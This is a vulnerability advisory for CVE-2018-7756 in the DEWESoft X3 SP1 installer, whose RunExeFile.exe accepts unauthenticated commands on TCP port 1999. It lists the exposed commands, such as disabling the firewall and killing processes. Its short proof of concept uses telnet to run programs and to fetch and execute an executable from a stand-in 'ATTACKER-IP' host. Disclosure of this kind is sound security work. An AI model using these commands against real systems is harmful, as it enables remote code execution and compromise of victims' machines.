DEWESoft X3 SP1 (64-bit) installer / Remote Internal Command Access

2018-03-10 / 2018-03-12
us hyp3rlinx (US) us
Risk: High
Local: No
Remote: Yes

CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

[+] Credits: John Page (aka hyp3rlinx) [+] Website: [+] Source: [+] ISR: Apparition Security Vendor: ============= Product: =========== DEWESoft X3 SP1 (64-bit) installer - X3 DEWESoft_FULL_X3_SP1_64BIT.exe Vulnerability Type: =================== Remote Internal Command Access CVE Reference: ============== CVE-2018-7756 Security Issue: ================ The installer for DEWESoft X3 SP1 (64-bit) devices, specifically the "RunExeFile.exe" component does not require authentication for sessions on TCP port 1999, which allows remote attackers to execute arbitrary code or access internal commands, as demonstrated by a RUN command that can launch an .EXE file located at an arbitrary directory location, download an .EXE from an external URL, or Run a "SETFIREWALL Off" command. The RunExeFile.exe "Launcher" is located at "C:\Program Files (x86)\Common Files\DEWESoft Shared\" after installing using the full-install. Internal commands used by "RunExeFile.exe" for which I could not find any documentation. RUN <ANY EXE> RUNEX <ANY EXE> GETFIREWALL SETFIREWALL Off KILL <PROCESS> USERNAME SHUTDOWN SENDKEYS LIST DWPIPE Exploit/POC: ============= TELNET x.x.x.x 1999 RUN calc.exe OR Launch the victims browser and send them to website for a drive-by download etc. TELNET x.x.x.x 1999 RUN http://ATTACKER-IP/DOOM.exe Then from the TELNET session execute it from Downloads directory. runexe c:\Users\victim\Downloads\DOOM.exe Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ============================= Vendor Notification: February 9, 2018 Vendor "thank you for the warning. We will forward this to the developers and they will look into it" : February 19, 2018 Inform vendor of disclosure timeline : February 19, 2018 No further replys, update or addressing of the issue by vendor. Vendor "We will assume that this issue is resolved and close the ticket." : March 6, 2018 March 10, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx


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